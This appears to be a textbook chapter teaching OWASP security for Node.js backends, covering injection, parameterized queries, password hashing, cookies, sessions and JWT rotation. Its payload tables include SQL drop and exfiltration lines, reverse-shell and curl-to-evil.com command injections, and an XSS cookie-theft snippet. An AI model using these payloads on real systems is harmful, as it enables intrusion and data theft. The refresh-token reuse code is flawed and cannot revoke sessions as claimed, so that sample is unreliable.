Chapter 22: Security: OWASP Top 10 for Node.js Backends
Chapter 22: Security — OWASP Top 10 for Node.js Backends
Introduction: Why Security Is an Engineering Discipline, Not a Feature
Every public backend on the internet is under continuous, automated reconnaissance. The moment your server binds to an IP address, automated port scanners, credential-stuffing bots, and vulnerability crawlers begin testing your endpoints for weaknesses. This is not hypothetical — it is a guaranteed, measurable reality.
Here is what happens within 72 hours of deploying a Node.js server on a public cloud IP:
┌─────────────────────────────────────────────────────────────────────────────────┐
│ FIRST 72 HOURS OF A PUBLIC NODE.JS SERVER │
├─────────────────────────────────────────────────────────────────────────────────┤
│ │
│ Minute 0-5 Port scanners detect open ports (22, 80, 443, 3000) │
│ Minute 5-15 Bot armies begin SSH brute-force (admin/admin, root/root123) │
│ Hour 1 Automated Shodan/Censys fingerprint your Express/Fastify │
│ Hour 2-6 Credential stuffing bots hit /login, /auth, /api/token │
│ Hour 6-12 SQL injection scanners probe query parameters: ?id=1' OR 1=1 │
│ Hour 12-24 Directory traversal: /../../../etc/passwd, /.env, /debug │
│ Day 2 Known CVE exploits tested against your Node.js version │
│ Day 3 Your API is catalogued in vulnerability databases │
│ │
│ Result: If you have ZERO security controls, your server is compromised. │
└─────────────────────────────────────────────────────────────────────────────────┘
Security is not an afterthought or a "Sprint 47" task. It is a fundamental engineering discipline built into every layer of your application: how you parse request payloads, construct database queries, configure HTTP response headers, store passwords, manage sessions, and enforce authorization.
In this chapter, you will master every major security domain that a production-ready Node.js developer is expected to know — built on the OWASP Top 10 (Open Worldwide Application Security Project). These are not theoretical concepts. These are the exact attack vectors that have breached companies like Equifax (143 million records), Capital One ($80M fine), and Uber (57 million records).
We will cover:
- Injection Attacks Deep Dive: SQL Injection mechanics, NoSQL Object Injection, and OS Command Injection
- Parameterized Queries & Prepared Statements: How database drivers isolate data from code at the wire protocol level
- Authentication Security & Password Storage: The evolution from plaintext → MD5 → SHA-256 → bcrypt → Argon2id
- Session Management & Cookie Security: httpOnly, Secure, SameSite, Domain, Path — every attribute explained
- JWT & Stateless Authentication: Token anatomy, cryptographic verification, refresh rotation, and revocation strategies
- Rate Limiting Strategies: Token Bucket, Sliding Window Log, Sliding Window Counter, and Leaky Bucket algorithms
- Authorization Vulnerabilities (BOLA/BFLA): Broken Object-Level and Function-Level Authorization
- Cross-Site Scripting (XSS): Reflected, Stored, and DOM-based XSS with real payload analysis
- Cross-Site Request Forgery (CSRF): How browsers betray your users and how SameSite cookies changed the game
- SSRF, Prototype Pollution, Supply Chain Security: Advanced attack vectors every developer should know
- HTTP Header Hardening with Helmet.js: Every security header explained and configured
1. Injection Attacks: How Untrusted Input Becomes Executable Code
Injection is the #1 most dangerous vulnerability class in the history of web security. It has held a position in OWASP Top 10 since the list was first published in 2003.
The fundamental principle is deceptively simple:
┌──────────────────────────────────────────────────────────────────────────────┐
│ THE INJECTION EQUATION │
│ │
│ Untrusted User Input + String Concatenation = Code Execution │
│ │
│ The user controls the DATA. │
│ String concatenation promotes DATA into CODE. │
│ The interpreter cannot distinguish between the developer's intent │
│ and the attacker's payload. │
└──────────────────────────────────────────────────────────────────────────────┘
Every injection vulnerability — SQL, NoSQL, OS Command, LDAP, XPath — follows this exact pattern. The interpreter (database engine, shell, XML parser) receives a single string where instructions and data are mixed together, and it has no way to know which parts the developer wrote and which parts the attacker supplied.
1.1 SQL Injection — The Most Devastating Web Vulnerability
SQL injection has been responsible for more data breaches than any other vulnerability class in computing history. The 2017 Equifax breach that exposed 147 million Americans' Social Security numbers was caused by a single unpatched injection vulnerability.
How It Actually Works (Step by Step)
Consider a login endpoint in a Node.js application that builds SQL using string concatenation:
// ❌ CRITICAL VULNERABILITY: Raw string interpolation builds the SQL
export async function authenticateUser(req: Request, res: Response) {
const { email, password } = req.body;
// The developer's INTENDED SQL:
// SELECT * FROM users WHERE email = 'user@example.com' AND password_hash = 'abc123...'
const query = `SELECT * FROM users WHERE email = '${email}' AND password_hash = '${password}'`;
const result = await db.execute(query);
// ...
}
When a legitimate user submits email = "alice@company.com" and password = "MySecretPass", the SQL evaluates correctly:
-- ✅ Legitimate SQL (behaves as intended)
SELECT * FROM users WHERE email = 'alice@company.com' AND password_hash = 'MySecretPass'
Now an attacker submits: email = "admin@company.com' OR '1'='1' --"
-- ❌ Attacker's SQL (notice the injected syntax)
SELECT * FROM users WHERE email = 'admin@company.com' OR '1'='1' --' AND password_hash = '...'
▲ ▲
│ │
OR condition always true SQL comment (-- ignores the rest)
What happened? The attacker's input contained SQL syntax characters (', OR, --). Because the application used string concatenation, these characters were interpreted as SQL instructions, not as data. The -- is a SQL comment that ignores everything after it, including the password check.
The Anatomy of SQL Injection Payloads
A good developer should recognize these common payload patterns:
┌────────────────────────────────────────────────────────────────────────────────┐
│ SQL INJECTION PAYLOAD TAXONOMY │
├────────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. AUTHENTICATION BYPASS │
│ ' OR '1'='1' -- Bypasses login by making WHERE true │
│ ' OR 1=1 LIMIT 1 -- Returns first user (often admin) │
│ admin'-- Comments out password check │
│ │
│ 2. UNION-BASED DATA EXTRACTION │
│ ' UNION SELECT username, password FROM users -- │
│ ' UNION SELECT table_name, NULL FROM information_schema.tables -- │
│ Effect: Attacker reads arbitrary tables from the database │
│ │
│ 3. BLIND SQL INJECTION (Boolean-Based) │
│ ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a' -- │
│ Effect: Extracts data one character at a time by observing true/false │
│ │
│ 4. TIME-BASED BLIND INJECTION │
│ ' AND IF(1=1, SLEEP(5), 0) -- (MySQL) │
│ '; SELECT pg_sleep(5) -- (PostgreSQL) │
│ Effect: If response takes 5 seconds, condition was true │
│ │
│ 5. STACKED QUERIES (Destructive) │
│ '; DROP TABLE users; -- Deletes entire table │
│ '; INSERT INTO users (role) VALUES ('admin'); -- │
│ Effect: Executes arbitrary SQL commands │
│ │
│ 6. OUT-OF-BAND EXTRACTION │
│ '; COPY (SELECT * FROM users) TO PROGRAM 'curl https://evil.com/exfil' -- │
│ Effect: Exfiltrates data to attacker's server │
└────────────────────────────────────────────────────────────────────────────────┘
Second-Order SQL Injection
Most developers only think about injection at the point of user input. But second-order injection occurs when previously stored data is later used unsafely in a query:
// Step 1: Attacker registers with a malicious username (stored safely via parameterized INSERT)
const username = "admin'--";
await db.insert(users).values({ username, email: 'attacker@evil.com' });
// Step 2: A different part of the codebase retrieves the username and uses it UNSAFELY
const user = await db.query.users.findFirst({ where: eq(users.id, userId) });
// ❌ The stored malicious username is now concatenated into a new query
const auditQuery = `INSERT INTO audit_log (action) VALUES ('Login by ${user.username}')`;
// ^^^^^^^^^^^^^^^^
// This contains: admin'--
// The injection fires HERE, not at registration!
[!IMPORTANT] Critical Insight: Never assume that data from your own database is "safe." If the data originally came from user input, it must be parameterized every single time it touches an interpreter — even if it was stored safely the first time.
1.2 NoSQL Object Injection (MongoDB / Mongoose)
Many developers assume MongoDB is immune to injection because it doesn't use SQL. This is dangerously wrong. NoSQL injection in Node.js is often simpler to exploit because JavaScript natively handles objects — and Express body-parser happily parses nested JSON objects from request bodies.
The Attack Vector
When Express parses incoming JSON (express.json()), an attacker can send a MongoDB query operator object instead of a primitive string:
POST /api/v1/auth/login HTTP/1.1
Content-Type: application/json
{
"email": "admin@consistcode.com",
"password": { "$gt": "" }
}
If the controller passes req.body directly to Mongoose without validating types:
// ❌ VULNERABLE: The password field receives a MongoDB query operator object
const user = await UserModel.findOne({
email: req.body.email,
password: req.body.password, // Becomes: { $gt: "" } — a query operator, not a string!
});
MongoDB interprets { $gt: "" } as "password is greater than empty string." Since every non-empty string satisfies this condition, the query returns the admin user — the attacker logs in without knowing the password.
Other dangerous operators attackers use:
{ "$ne": null }— password is "not equal to null" (always true){ "$regex": ".*" }— password matches any string{ "$exists": true }— password field exists (always true for user documents)
The Defense: DTO Schema Validation
Our BaseDto with Zod completely neutralizes this entire attack class:
export class LoginDto extends BaseDto {
public static readonly schema = z.object({
email: z.string().email(),
password: z.string().min(1), // 🔒 Enforces that password MUST be a primitive string
});
public readonly email!: string;
public readonly password!: string;
}
If an attacker sends password: { "$gt": "" }, Zod immediately rejects the payload: 400 Bad Request: Expected string, received object.
[!TIP] Interview Insight: When asked "How do you prevent NoSQL injection?", the best answer is: "By enforcing strict schema validation on every request body using Zod DTOs, which coerce inputs to primitive types and reject operator objects before they ever reach the database driver."
1.3 OS Command Injection
Node.js provides the child_process module for executing system commands. The critical danger is using child_process.exec(), which spawns a shell (/bin/sh on Linux, cmd.exe on Windows) and passes the entire command as a single interpreted string.
// ❌ CRITICAL VULNERABILITY: exec() spawns a shell that interprets metacharacters
import { exec } from 'node:child_process';
app.post('/api/v1/convert-pdf', (req, res) => {
const filename = req.body.filename;
// If filename = "report.docx; rm -rf / --no-preserve-root"
exec(`soffice --headless --convert-to pdf ${filename}`, (err, stdout) => {
// The shell interprets ';' as a command separator
// It runs: soffice ... report.docx THEN rm -rf /
// Your entire filesystem is deleted.
});
});
The shell interprets metacharacters like ;, &&, ||, |, ` `, $() as command separators or subshell invocations. An attacker exploits this to chain arbitrary commands.
Common Command Injection Payloads
┌──────────────────────────────────────────────────────────────────────────────┐
│ COMMAND INJECTION PAYLOADS │
├──────────────────────────────────────────────────────────────────────────────┤
│ │
│ ; whoami Execute whoami after the intended command │
│ && cat /etc/passwd Chain command (runs if first succeeds) │
│ || curl https://evil.com/shell Chain command (runs if first fails) │
│ | nc attacker.com 4444 -e /bin/sh Pipe output to reverse shell │
│ `curl https://evil.com/payload` Backtick subshell execution │
│ $(curl https://evil.com/payload) Dollar-paren subshell execution │
│ %0a whoami URL-encoded newline injection │
│ │
└──────────────────────────────────────────────────────────────────────────────┘
The Defense: Use execFile or spawn with Arguments Array
// ✅ SECURE: execFile passes arguments directly to the OS kernel without shell interpretation
import { execFile } from 'node:child_process';
// Arguments are passed as a discrete array — shell metacharacters are treated as literal strings
execFile('soffice', ['--headless', '--convert-to', 'pdf', sanitizedFilePath], (err, stdout) => {
// Even if sanitizedFilePath contains ';', '&&', '|' — they are NEVER interpreted by a shell
// Because no shell is spawned. The binary receives them as literal filename characters.
});
exec() → Node.js → /bin/sh -c "command arg1 arg2" → SHELL INTERPRETS EVERYTHING
execFile() → Node.js → execve("command", ["arg1", "arg2"]) → NO SHELL, direct kernel call
[!WARNING] Critical Rule: Never use
child_process.exec()in production. Always useexecFile()orspawn()with{ shell: false }(the default). If you must spawn a shell, whitelist allowed characters with a strict regex before constructing the command.
2. Parameterized Queries: How They Actually Work at the Wire Protocol Level
Most tutorials just say "use parameterized queries." A good developer should understand why they work — and why they are mathematically impossible to bypass.
The Fundamental Difference
With string concatenation, the database receives ONE thing — a complete SQL string where data and code are mixed:
STRING CONCATENATION (Vulnerable):
Node.js sends to PostgreSQL:
┌─────────────────────────────────────────────────────────────────────┐
│ "SELECT * FROM users WHERE email = 'admin' OR '1'='1' --' ..." │
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ │
│ ONE STRING: PostgreSQL parser cannot tell which parts are │
│ developer SQL and which parts are attacker input │
└─────────────────────────────────────────────────────────────────────┘
With parameterized queries, the database receives TWO separate things — the query template and the data values — transmitted through different channels of the wire protocol:
PARAMETERIZED QUERY (Immune):
Node.js sends to PostgreSQL via wire protocol:
Channel 1 (Parse message):
┌──────────────────────────────────────────────────────────────┐
│ "SELECT * FROM users WHERE email = $1 AND password = $2" │
│ This is COMPILED into an execution plan FIRST │
│ The parser has already decided the query structure │
└──────────────────────────────────────────────────────────────┘
Channel 2 (Bind message):
┌──────────────────────────────────────────────────────────────┐
│ $1 = "admin' OR '1'='1' --" │
│ $2 = "anything" │
│ These values are BOUND to the pre-compiled plan │
│ They can NEVER modify the query structure │
│ The entire string "admin' OR '1'='1' --" is treated as │
│ a single literal value for the email column comparison │
└──────────────────────────────────────────────────────────────┘
PostgreSQL Wire Protocol in Detail
The PostgreSQL wire protocol (frontend/backend protocol v3) uses distinct message types:
- Parse (P): Sends the query template with
$1,$2placeholders. PostgreSQL compiles this into an execution plan. - Bind (B): Sends the parameter values. These are bound to the pre-compiled plan.
- Execute (E): Runs the bound plan.
The key insight: by the time parameter values arrive, the query's logical structure is already frozen. SQL syntax characters in the parameter values (', OR, --, ;) are impossible to interpret as SQL instructions because the parsing phase is complete.
Using Parameterized Queries with Drizzle ORM
// ✅ SECURE: Drizzle automatically generates parameterized queries
const user = await db
.select()
.from(users)
.where(
and(
eq(users.email, req.body.email), // Generates: WHERE email = $1
eq(users.isActive, true) // Generates: AND is_active = $2
)
);
// Drizzle sends: Parse("SELECT ... WHERE email = $1 AND is_active = $2")
// Bind($1 = "user input", $2 = true)
// Even if email contains SQL injection payloads, they are NEVER parsed as SQL
Using Raw Parameterized Queries with postgres.js
// ✅ SECURE: Tagged template literals in postgres.js are parameterized
import postgres from 'postgres';
const sql = postgres(process.env.DATABASE_URL);
// This is NOT string interpolation! postgres.js intercepts the tagged template
// and sends the values as separate Bind parameters
const users = await sql`
SELECT id, email, role
FROM users
WHERE email = ${email}
AND created_at > ${startDate}
`;
// Wire: Parse("SELECT ... WHERE email = $1 AND created_at > $2")
// Bind($1 = email, $2 = startDate)
[!CAUTION] Dangerous Exception: Even with ORMs, raw SQL escape hatches can reintroduce injection. In Drizzle,
sql.raw()bypasses parameterization. In Sequelize,sequelize.literal()does the same. Never pass user input into these functions.
3. Authentication Security & Password Storage
Password storage is one of the most misunderstood topics in backend security. The evolution of password hashing tells the story of an arms race between defenders and attackers.
The Evolution of Password Storage
┌──────────────────────────────────────────────────────────────────────────────────┐
│ EVOLUTION OF PASSWORD STORAGE │
├──────────────────────────────────────────────────────────────────────────────────┤
│ │
│ Era 1: PLAINTEXT │
│ ├── Storage: password = "MySecret123" │
│ ├── Risk: Database leak = instant compromise of every account │
│ └── Status: ❌ Catastrophically insecure │
│ │
│ Era 2: FAST HASHING (MD5, SHA-1, SHA-256) │
│ ├── Storage: password_hash = SHA256("MySecret123") │
│ ├── Problem 1: Same password = same hash (no salt) │
│ │ → Rainbow tables pre-compute hashes for billions of common passwords │
│ ├── Problem 2: SHA-256 computes in nanoseconds │
│ │ → A single GPU computes 5+ billion SHA-256 hashes per second │
│ │ → Brute-forcing 8-char passwords takes hours, not years │
│ └── Status: ❌ Unsafe for passwords (fine for file integrity checksums) │
│ │
│ Era 3: SALTED FAST HASHING │
│ ├── Storage: hash = SHA256(salt + password), stored with unique random salt │
│ ├── Improvement: Defeats rainbow tables (each password needs individual attack) │
│ ├── Problem: Still nanosecond-fast, brute-force is still trivially cheap │
│ └── Status: ❌ Better but still inadequate │
│ │
│ Era 4: ADAPTIVE SLOW HASHING (bcrypt, scrypt) │
│ ├── Storage: hash = bcrypt("MySecret123", saltRounds=12) │
│ ├── Key innovation: Deliberately slow — cost factor doubles computation time │
│ ├── bcrypt at cost=12: ~250ms per hash (vs ~0.000001ms for SHA-256) │
│ ├── Built-in salt: Every hash includes a unique random salt automatically │
│ ├── Adjustable cost: Increase cost factor as hardware improves │
│ └── Status: ✅ Industry standard, recommended by OWASP │
│ │
│ Era 5: MEMORY-HARD HASHING (Argon2id) — THE CURRENT GOLD STANDARD │
│ ├── Storage: hash = argon2id(password, { memory: 64MB, time: 3, parallelism }) │
│ ├── Key innovation: Requires large amounts of RAM, defeating GPU attacks │
│ ├── GPUs have fast cores but limited per-core memory │
│ ├── Argon2id forces each hash to consume 64MB+ RAM → GPUs can't parallelize │
│ └── Status: ✅ Gold standard (PHC winner 2015), recommended for new systems │
│ │
└──────────────────────────────────────────────────────────────────────────────────┘
Why bcrypt Is Specifically Designed for Passwords
bcrypt does three critical things that fast hashes like SHA-256 cannot:
- Built-in Random Salt: Every call to
bcrypt.hash()generates a unique 128-bit random salt. Two users with the same password get completely different hashes. - Adaptive Cost Factor: The
saltRoundsparameter controls how many times the internal Blowfish cipher iterates. Cost 10 = 2^10 = 1,024 iterations. Cost 12 = 2^12 = 4,096 iterations. Each increment doubles the time. - Self-Contained Output: The hash string includes the algorithm version, cost factor, salt, and hash — everything needed to verify later:
$2b$12$LJ3m4yv7r0pJAcMZGh1yZOQ4sKDlXhK8xQpNqTzF5RkDnFxFnFsWi
▲ ▲ ▲──────────────────────▲ ▲──────────────────────────────────▲
│ │ │ 22-char salt │ 31-char hash │
│ │ └ Salt (Base64) └ Hash (Base64) │
│ └ Cost factor (12 = 2^12 = 4,096 iterations) │
└ Algorithm ($2b = bcrypt) │
Implementation in Node.js
import bcrypt from 'bcrypt';
// Registration: Hash the password before storage
const SALT_ROUNDS = 12; // ~250ms on modern hardware — adjust as CPUs get faster
async function registerUser(email: string, plainPassword: string) {
// bcrypt.hash() internally:
// 1. Generates a cryptographically random 128-bit salt
// 2. Runs Blowfish key expansion 2^12 = 4,096 times
// 3. Returns the algorithm + cost + salt + hash as a single string
const passwordHash = await bcrypt.hash(plainPassword, SALT_ROUNDS);
await db.insert(users).values({
email,
passwordHash, // Store the full bcrypt string (includes salt)
});
}
// Login: Verify the password against the stored hash
async function loginUser(email: string, plainPassword: string) {
const user = await db.query.users.findFirst({
where: eq(users.email, email),
});
if (!user) {
// ⚠️ TIMING ATTACK PREVENTION: Still hash the password even if user doesn't exist
// This ensures the response time is identical whether the email exists or not
await bcrypt.hash(plainPassword, SALT_ROUNDS);
throw ApiError.unauthorized('Invalid credentials');
}
// bcrypt.compare() extracts the salt from the stored hash,
// re-hashes the candidate password with the same salt and cost,
// then compares the results using constant-time comparison
const isValid = await bcrypt.compare(plainPassword, user.passwordHash);
if (!isValid) {
throw ApiError.unauthorized('Invalid credentials');
}
return user;
}
[!IMPORTANT] Timing Attack Prevention: When a user submits an email that doesn't exist, naive implementations return immediately (skipping the hash comparison). An attacker can measure response times: fast response = "email not registered", slow response = "email exists but wrong password." Always perform a dummy hash operation when the user is not found to equalize response times.
Argon2id: The Next Generation
For new systems, OWASP recommends Argon2id over bcrypt. Argon2id is the winner of the Password Hashing Competition (PHC, 2015) and provides resistance against both GPU attacks and side-channel attacks:
import argon2 from 'argon2';
// Argon2id with OWASP-recommended parameters
const hash = await argon2.hash(password, {
type: argon2.argon2id, // Hybrid: resistant to GPU AND side-channel attacks
memoryCost: 65536, // 64 MB of RAM required per hash
timeCost: 3, // 3 iterations
parallelism: 4, // 4 parallel threads
});
const isValid = await argon2.verify(hash, candidatePassword);
Why Argon2id defeats GPU-based attacks: Modern GPUs have thousands of cores but very limited per-core memory (typically 48KB of shared memory per block). Argon2id forces each hash computation to consume 64MB+ of RAM. A GPU with 24GB VRAM can only run ~375 parallel Argon2id hashes — compared to billions of SHA-256 hashes.
4. Session Management & Cookie Security
After a user authenticates (proves who they are), the server must remember this authentication across subsequent requests. HTTP is stateless — every request arrives with zero context about previous interactions. Sessions solve this problem.
Stateful Sessions: How They Work
┌──────────────────────────────────────────────────────────────────────────────────┐
│ STATEFUL SESSION LIFECYCLE │
├──────────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. User submits credentials: │
│ POST /login { email: "alice@co.com", password: "..." } │
│ │
│ 2. Server validates credentials (bcrypt.compare) │
│ │
│ 3. Server creates a SESSION object in server-side storage: │
│ Redis/Memory/DB: { │
│ "sess:abc123def": { │
│ userId: "user_42", │
│ role: "editor", │
│ createdAt: "2025-01-15T10:30:00Z", │
│ expiresAt: "2025-01-15T11:30:00Z" │
│ } │
│ } │
│ │
│ 4. Server sends a Set-Cookie header with the session ID: │
│ Set-Cookie: sid=abc123def; HttpOnly; Secure; SameSite=Strict; Path=/ │
│ │
│ 5. Browser automatically includes the cookie on every subsequent request: │
│ Cookie: sid=abc123def │
│ │
│ 6. Server looks up "sess:abc123def" in Redis, finds the session, │
│ and knows the request is from user_42 with role "editor" │
│ │
│ 7. On logout, server DELETES the session from Redis │
│ → Instant revocation. The cookie is now meaningless. │
│ │
└──────────────────────────────────────────────────────────────────────────────────┘
Cookie Security Attributes — Every Attribute Explained
Cookies are the transport mechanism for session identifiers. Misconfigured cookies are the leading cause of session hijacking. Every developer must understand every single attribute:
// Production-grade cookie configuration
res.cookie('sid', sessionId, {
httpOnly: true, // JavaScript cannot access this cookie (prevents XSS theft)
secure: true, // Cookie only sent over HTTPS (prevents network sniffing)
sameSite: 'strict', // Cookie never sent on cross-origin requests (prevents CSRF)
domain: '.consistcode.com', // Cookie valid for all subdomains
path: '/', // Cookie sent for all paths
maxAge: 3600000, // Expires in 1 hour (milliseconds)
signed: true, // Cryptographically signed to detect tampering
});
┌────────────────────────────────────────────────────────────────────────────────────┐
│ COOKIE SECURITY ATTRIBUTES DEEP DIVE │
├──────────────┬─────────────────────────────────────────────────────────────────────┤
│ Attribute │ Purpose & Impact │
├──────────────┼─────────────────────────────────────────────────────────────────────┤
│ │ │
│ HttpOnly │ When set: document.cookie CANNOT read this cookie from JavaScript. │
│ │ Without it: An XSS payload like <script>fetch('https://evil.com/' │
│ │ + document.cookie)</script> steals the session ID instantly. │
│ │ This is your FIRST LINE OF DEFENSE against XSS-based session theft. │
│ │ │
│ Secure │ When set: Cookie is ONLY transmitted over HTTPS connections. │
│ │ Without it: An attacker on the same Wi-Fi network can intercept │
│ │ the cookie via a man-in-the-middle attack on HTTP traffic. │
│ │ │
│ SameSite │ Controls when the cookie is sent on cross-origin requests: │
│ │ • Strict: NEVER sent cross-origin. Maximum CSRF protection. │
│ │ But breaks legitimate flows (e.g., clicking a link from email │
│ │ won't include the cookie — user appears logged out) │
│ │ • Lax: Sent on top-level navigations (clicking links) but NOT on │
│ │ cross-origin POST, fetch(), or iframe requests. Good balance. │
│ │ • None: Always sent cross-origin (requires Secure flag). Used for │
│ │ third-party cookies (analytics, OAuth). Least secure. │
│ │ │
│ Domain │ .example.com → Cookie valid for example.com AND all subdomains │
│ │ example.com → Cookie valid for example.com ONLY (no subdomains) │
│ │ Omitted → Defaults to the exact origin (most restrictive) │
│ │ │
│ Path │ /api → Cookie only sent for requests to /api/* paths │
│ │ / → Cookie sent for ALL paths (most common for sessions) │
│ │ │
│ Max-Age │ Number of seconds until expiration. When the browser closes, │
│ │ session cookies (no Max-Age) are deleted. Persistent cookies │
│ │ (with Max-Age) survive browser restarts. │
│ │ │
│ Expires │ Absolute UTC date for cookie expiration. Max-Age takes precedence │
│ │ if both are set. Use Max-Age for new applications. │
│ │ │
└──────────────┴─────────────────────────────────────────────────────────────────────┘
Session Security Best Practices
import session from 'express-session';
import RedisStore from 'connect-redis';
import Redis from 'ioredis';
const redisClient = new Redis(process.env.REDIS_URL);
app.use(session({
store: new RedisStore({ client: redisClient }),
name: '__Host-sid', // __Host- prefix enforces Secure + no Domain + Path=/
secret: process.env.SESSION_SECRET, // Used to sign the session cookie
resave: false, // Don't re-save unchanged sessions
saveUninitialized: false, // Don't create sessions for unauthenticated users
rolling: true, // Reset expiration on every request (sliding window)
cookie: {
httpOnly: true,
secure: true,
sameSite: 'lax',
maxAge: 30 * 60 * 1000, // 30 minutes
path: '/',
},
}));
[!TIP] Interview Insight: The
__Host-cookie name prefix is a security hardening mechanism. Browsers enforce that__Host-prefixed cookies MUST haveSecure=true, MUST NOT have aDomainattribute, and MUST havePath=/. This prevents subdomain takeover attacks from overwriting your session cookie.
Session Fixation Attack & Defense
Session fixation occurs when an attacker sets a known session ID on the victim's browser BEFORE the victim authenticates:
1. Attacker visits the site, receives session ID: sess_attacker_123
2. Attacker tricks victim into using this session ID (via URL, hidden form, etc.)
3. Victim logs in — the server associates sess_attacker_123 with the victim's identity
4. Attacker uses sess_attacker_123 to access the victim's authenticated session
Defense: Always regenerate the session ID after successful authentication:
async function handleLogin(req: Request, res: Response) {
const user = await validateCredentials(req.body);
// Regenerate session ID to prevent session fixation
req.session.regenerate((err) => {
if (err) throw err;
req.session.userId = user.id;
req.session.role = user.role;
res.json({ success: true });
});
}
5. JWT & Stateless Authentication
JSON Web Tokens (JWTs) are the dominant authentication mechanism for modern APIs, SPAs, and microservice architectures. Unlike stateful sessions, JWTs encode the user's identity inside the token itself — no server-side storage is needed to verify who sent the request.
JWT Anatomy: Header.Payload.Signature
A JWT consists of three Base64URL-encoded parts separated by dots:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyXzQyIiwicm9sZSI6ImVkaXRvciIsImlhdCI6MTcwNTMxMjYwMCwiZXhwIjoxNzA1MzE2MjAwfQ.Kx7J9Fq2X8h3R5gT1mN4oY6wZ0vC3bA8dE1fH2iJ3kL
├── Header (Base64URL) ──┤├────── Payload (Base64URL) ─────────────────────────────┤├─── Signature ───────────┤
┌──────────────────────────────────────────────────────────────────────────────────┐
│ JWT TOKEN ANATOMY │
├──────────────────────────────────────────────────────────────────────────────────┤
│ │
│ HEADER (Algorithm & Token Type): │
│ { │
│ "alg": "HS256", // HMAC-SHA256 signing algorithm │
│ "typ": "JWT" // Token type │
│ } │
│ │
│ PAYLOAD (Claims — the actual user data): │
│ { │
│ "sub": "user_42", // Subject: the user's unique ID │
│ "role": "editor", // Custom claim: user's authorization role │
│ "iat": 1705312600, // Issued At: when the token was created │
│ "exp": 1705316200, // Expiration: token invalid after this timestamp │
│ "iss": "consistcode.com" // Issuer: who created this token │
│ } │
│ │
│ SIGNATURE (Cryptographic integrity proof): │
│ HMAC-SHA256( │
│ base64UrlEncode(header) + "." + base64UrlEncode(payload), │
│ secret_key // Only the server knows this key │
│ ) │
│ │
│ ⚠️ CRITICAL: The payload is NOT encrypted. It is merely Base64-encoded. │
│ Anyone can decode it: atob("eyJzdWIiOiJ1c2VyXzQyIn0") = {"sub":"user_42"} │
│ NEVER put passwords, credit cards, or secrets in JWT payloads. │
│ │
└──────────────────────────────────────────────────────────────────────────────────┘
How JWT Verification Works (Cryptographic Proof)
When the server receives a JWT, it does NOT "decrypt" it. It re-computes the signature and checks if it matches:
┌──────────────────────────────────────────────────────────────────────────────────┐
│ JWT VERIFICATION PROCESS │
├──────────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. Server receives JWT: header.payload.signature │
│ │
│ 2. Server takes header + "." + payload from the token │
│ │
│ 3. Server re-computes: expectedSig = HMAC-SHA256(header.payload, SECRET_KEY) │
│ │
│ 4. Server compares: expectedSig === receivedSignature? │
│ │
│ ✅ Match → Token is authentic, payload has not been modified │
│ ❌ Mismatch → Token was forged or tampered with → REJECT │
│ │
│ 5. Server checks exp claim: is current time < exp? │
│ ✅ Valid → Proceed │
│ ❌ Expired → REJECT with 401 │
│ │
│ WHY THIS IS SECURE: │
│ If an attacker modifies the payload (e.g., changes role to "admin"), │
│ the re-computed signature will NOT match the original signature, │
│ because the attacker doesn't know the SECRET_KEY to forge a valid one. │
│ │
└──────────────────────────────────────────────────────────────────────────────────┘
The Dual-Token System (Access + Refresh)
A single JWT has a fundamental trade-off: short expiry = better security but terrible UX (users log in every 15 minutes), long expiry = great UX but a stolen token is valid for days. The dual-token system solves this:
┌──────────────────────────────────────────────────────────────────────────────────┐
│ DUAL TOKEN SYSTEM │
├──────────────────────────────────────────────────────────────────────────────────┤
│ │
│ ACCESS TOKEN │ REFRESH TOKEN │
│ ───────────── │ ────────────── │
│ Lifetime: 15 minutes │ Lifetime: 7 days │
│ Storage: Memory (JS variable) │ Storage: httpOnly cookie │
│ Purpose: Authorize API requests │ Purpose: Obtain new access tokens │
│ Contains: userId, role, exp │ Contains: userId, tokenFamily, exp │
│ Sent via: Authorization header │ Sent via: Cookie (automatic) │
│ Revocable: No (stateless) │ Revocable: Yes (stored in DB/Redis) │
│ │ │
│ On expiry: Client calls /refresh │ On expiry: User must re-authenticate │
│ On theft: Attacker has 15 min max │ On theft: Detected via rotation │
│ │
│ │
│ FLOW: │
│ ┌──────┐ POST /login ┌──────────┐ │
│ │Client├───────────────────────────►│ Server │ │
│ │ │◄───────────────────────────┤ │ │
│ └──┬───┘ accessToken (body) └─────┬─────┘ │
│ │ refreshToken (httpOnly cookie) │ │
│ │ │ │
│ │ GET /api/data │ │
│ │ Authorization: Bearer <access> │ │
│ ├─────────────────────────────────────►│ (Verify JWT signature + exp) │
│ │ │ │
│ │ Access token expires (15 min) │ │
│ │ │ │
│ │ POST /refresh │ │
│ │ Cookie: refreshToken=xxx │ │
│ ├─────────────────────────────────────►│ (Verify refresh token in DB, │
│ │◄─────────────────────────────────────┤ rotate to new refresh token, │
│ │ New accessToken + new refreshToken │ invalidate old one) │
│ │
└──────────────────────────────────────────────────────────────────────────────────┘
Refresh Token Rotation & Theft Detection
Refresh token rotation is a critical security mechanism where every time a refresh token is used, it is invalidated and a new one is issued. This enables automatic theft detection:
async function refreshTokens(req: Request, res: Response) {
const oldRefreshToken = req.cookies.refreshToken;
// 1. Look up the refresh token in the database
const storedToken = await db.query.refreshTokens.findFirst({
where: eq(refreshTokens.token, oldRefreshToken),
});
// 2. If the token doesn't exist, it was already used (possible theft!)
if (!storedToken) {
// SECURITY: Someone reused an already-rotated token.
// This means the token was stolen. Revoke ALL tokens for this user.
await db.delete(refreshTokens).where(
eq(refreshTokens.userId, storedToken?.userId)
);
throw ApiError.unauthorized('Token reuse detected. All sessions revoked.');
}
// 3. Invalidate the old refresh token (one-time use)
await db.delete(refreshTokens).where(eq(refreshTokens.id, storedToken.id));
// 4. Generate new token pair
const newAccessToken = generateAccessToken(storedToken.userId);
const newRefreshToken = generateRefreshToken();
// 5. Store the new refresh token
await db.insert(refreshTokens).values({
userId: storedToken.userId,
token: newRefreshToken,
expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
});
// 6. Send new tokens
setRefreshTokenCookie(res, newRefreshToken);
res.json({ accessToken: newAccessToken });
}
THEFT DETECTION SCENARIO:
1. Legitimate user has refresh token RT-1
